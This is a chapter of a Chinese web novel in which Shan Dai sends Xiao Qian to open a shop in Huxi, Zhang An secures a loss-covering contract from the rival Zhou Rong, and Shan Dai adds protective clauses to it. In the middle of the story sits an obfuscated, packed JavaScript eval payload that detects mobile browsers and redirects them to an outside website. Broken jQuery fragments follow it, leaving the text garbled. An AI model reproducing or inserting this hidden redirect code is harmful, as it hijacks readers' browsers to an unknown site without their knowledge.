山黛用积攒的收入在湖西租了一处店铺，她雇了船夫今夜将小茜送去筹备开店事宜，并做些宣传。


    湖西乃江南水乡，气候宜人，年轻女子也比京中更为婉约。且虽处南方，却并未受水灾波及，经济发展独树一帜，妆品的销量也比其他城市更好。此前望舒楼曾在此地开了分店，江南姑娘却不吃他们这套，即使知道望舒楼的名号名动京城，也宁愿少花点钱去买些便宜的竹炭眉膏。


    想必周容也对此次出师不利心有不甘，时刻准备着转变赛道再试上一试。小茜既已动身，和周容商谈的事宜便得交给张鹌了。张鹌的身份并未挂在王府名下，想必周容一方查不出什么名堂。周容每月十五会抽空来望舒楼瞧上一瞧，今日便是最好的时机。


    山黛将要说的话同她重复了几次，又嘱咐她万万不可透露眉笔铺子与景王府之间的联系。


    “除此之外，他问什么，你便答什么，不用太过紧张。”山黛揽着她手道。张鹌生得聪慧，她认为把这件事交给她不会有什么风险。


    张鹌自然是愿意为了山黛做事，但还是害怕一句说错，将合作断送。“娘娘，我身份低微，我怕他们不会听我的。”


    “怕什么。”山黛笑道，“京城中卖得最好的铺子是我们，他不愿与我们合作，那损失的就是他们。这只能怪他们目光短浅，不能怪你没有劝动。我这有一家传的护身符，你如果紧张，便随身带在身上，能护你诸事顺利。”


    “护身符在何处？”张鹌疑惑道。


    山黛轻咳一声：“下午你临行前到我房间桌上取走就是。”


    蔡佳惠替张鹌备了一件藕荷色襦裙，款式素净，面料却是织锦，叫人看不出她的身份地位。她如约踏进山黛的寝房，见空荡荡的桌上仅有一枚螺黛石，心想这护身符也未免太过敷衍，却还是揣进了怀中。


    一辆马车在望舒楼前缓缓停下，张鹌一步踏下车，挤开柜台前的人流，引得众多顾客纷纷侧目。管账的先生忙出来拦在张鹌身前：“这位夫人，您若有心仪的款式，须得在柜台前排队才行。”


    张鹌毫不在乎地迈开一步，让身子将人流阻挡得更完全：“我想与你们的老板谈一谈合作。”


    “您可能有所不知，我们掌柜的事务繁忙，恕不能接见……”周容可是当朝太监，哪里是那么好见的？


    张鹌叉腰道：“我是街角无名眉笔铺子的掌柜，你们老板见是不见？”


    张鹌还是被请上了阁楼。


    面前一盏绿茶幽幽地冒着水汽，张鹌垂下眼帘淡淡抿了一口，不见方才的咄咄逼人，只等着周容先发话。


    “小厮不知是您，有失远迎，多有冒犯。”周容那苍老的脸上堆起褶子，展露一个试探的笑容。他们的关系是对手，更何况望舒楼曾几次三番设计陷害，虽未留下把柄，但从动机来看加害之人也颇为明显。张鹌却还想来与他谈合作，不知是真钻进了钱眼里，还是另有所谋。


    张鹌呵呵一笑：“无妨，城中知我名姓的本就不多。”


    周容的背离开椅背，将身子靠近张鹌几分：“姑娘经商颇有智慧，敢问家中可是有什么门路？”


    张鹌想不到他并不套话，而是直接询问，十分惊诧。想到山黛的嘱咐，还是开口道：“并无，只有一个任小官的兄长。我这次前来，是为了前往湖西开一家分店。听说您是先驱，不知可有机会与您共开此店？”


    周容眯起眼睛，好似在思考。京中小官怎有可能拿到如此分量的螺黛，若说是西方边境的官员倒是还有几分可信。“您也知道，鄙人在京中事务繁忙，不能亲临湖西……”


    “不妨。店铺我们已经租好，后续的装潢等琐事也由我们一手操办。”


    “你们的态度让人很是感动。只是你们的产品相对平价，而望舒楼的眉膏价格，你们也知道。当然，并不是说我们不能压低利润，但是质量放在这里，售价低不了多少。”


    “自是不打紧。我们的店铺中噱头是八十九文钱的眉笔，但实际盈利的产品还是几两银子的货品。以此推测，有了我们的产品给您做陪衬，您们的眉膏的销量才会是最好的。”


    周容的态度有些松动，微微点了点头。“您说要我们的经验，但与您合作又能带给望舒楼什么呢？”


    张鹌按着山黛的嘱咐，一字一句说了出来：“店铺若亏损，则亏损部分由我们支付予您。”


    湖西的妆品早就自称一派，京中品牌入驻的效果并不好，这一点他们早就领教过。如今她承诺旱涝保收，岂不是一件美事。到时他若把运输耗损等成本报得高些，在她身上又有一笔油水可捞。若她不认，便把她出尔反尔之事在京中闹大，叫她做不了生意。


    这小姑娘虽有些头脑，但还是天真了些。想到这里，他屏住胸中笑意，蘸墨提笔将张鹌呈上的合同一笔签了。


    “店铺在湖西落成后叫我，我会派人与货品过去。”


    “是。合作愉快。”张鹌露出一个势在必得的笑。


    见张鹌顺利取回签上周容之名的合同，山黛抓了一把银瓜子塞入张鹌手中，叫她带着大姨蔡佳惠去吃一顿好的。


    “娘娘，我有一问。”张鹌却不如山黛般喜上眉梢，绷着一张小脸似乎在犹豫什么。


    “若他们揪着合同上‘填补亏损’一事做文章，将成本虚报，好在我们身上狠狠薅上一笔，该如何是好？”


    山黛听了，却不以为意。“山人自有妙计。芷也，拿着笔墨坐下。”


    正经学过写字的芷也带着文房四宝坐于桌前，展开合同，将头一低，奋笔疾书起来。


    “合同末页我特意留了许多空位。望舒楼的掌柜是什么货色我自然知道，我这便补充些条款，好叫他捞不着一丝油水。”


    张鹌探头去看，只见芷也用蝇头小楷在纸上密密麻麻地补着字，“望舒楼的货品筹备，运输，销售等事宜由我方全权负责，计算成本……”


    “为保证商店管理秩序，望舒楼最多可派两名小厮前往湖西分店……”


    “望舒楼的货品售价只许等于或低于京城，不可哄抬货价……”


    张鹌看了，啧啧地感叹山黛的黑心。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281102|180884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “最黑心的我还没用上呢。以往乡间集市里还有用墨鱼汁写合同的，放在太阳下晒几天，字迹便消失得干干净净。”


    还未来得及庆功，太阳已渐渐西下，山黛匆匆换了身衣服，骑上马赶往码头。


    夜色将至，出航的船只已经很少了。码头边冒起袅袅炊烟，四处都是归航的渔船，只有一艘小船正准备启航。


    “小茜！”山黛急匆匆地翻身下马，小跑着来到了渡口。小茜的一只脚刚刚踏上在水中沉浮的船舱，又因为熟悉的声音回头。


    还未等呼吸平复，山黛凑上了她的耳朵，轻声道：“这些钱你偷偷拿着，在外不要露富，危险。”随后将一个软绵绵的包袱塞进她手中，看似是过冬的厚实衣物，实则在夹层中塞了一张银票。


    “可货品和资金不都用商船先运过去了吗？”小茜有些诧异，悄悄问道。


    “这是给你自己用的。出门在外难免遇到些麻烦，能用钱解决的就这么解决，你身在异乡，少和别人起冲突。”


    末了，不放心似的，山黛又嘱咐道：“若是店铺没办好也别害怕，直接回京就行，有人帮你兜底。”


    “知道了知道了。”小茜笑道，眼圈却红了，“你怎么比我姐还唠叨。”


    “你还有姐姐么？”山黛问道，“她现今住在哪里？我帮你照顾着些。”


    “不必了。”小茜沉默许久，眼角滑下一滴泪来。“娘娘，你真的就像我的姐姐一样。”


    “对我好，替我解围，偷偷给我塞钱和衣服……我进京城做杂役那年，她也是这么站在村口送我。”


    山黛头一次听小茜的肺腑之言，心脏好似被猛地揪了一下。“让你背井离乡，你当真愿意？”


    生怕山黛有所怀疑似的，小茜重重地点了点头：“我愿意，也绝不会后悔。”


    “我的身份太过低微，在京城混不出什么名堂。等过了年岁，还不是要被父母找个老汉嫁了，收到的嫁妆全都花在弟弟身上。如今您给我机会出去闯荡，便是给了我自由。”


    山黛抬眼，小茜的头上还插着那枚她从父亲手中抢回来的银簪子。款式素净的银簪反射着夕阳的余晖，船夫已在催促着小茜上船。


    “山黛，你可要等我一夜暴富。”小茜笑着向山黛招了招手，转身踏进了船舱。


    运河平静得不起一丝波澜，山黛宁愿她一帆风顺，而不是乘长风破万里浪。


    山黛牵上马，翻身驾着小黑骑上大路。


    睡前洗漱之时，山黛隐隐地总有些心忧。小茜身在京城，境遇尚且如此，更何况她的姐姐？如今小茜远走他乡，她的家人自己总得关照着些。


    兰兮姑姑正替她的发丝篦上一层桂花油，山黛按捺不住，仰头去问兰兮：“小茜可是有个姐姐？”


    不知为何，兰兮姑姑有些诧异。


    “是有。娘娘问这个做什么？”


    “小茜出门远行，我想替她帮衬着些。”


    突然一阵长久的沉默。兰兮姑姑慢慢地答道：“她的姐姐已经去世了。”


    “为什么？”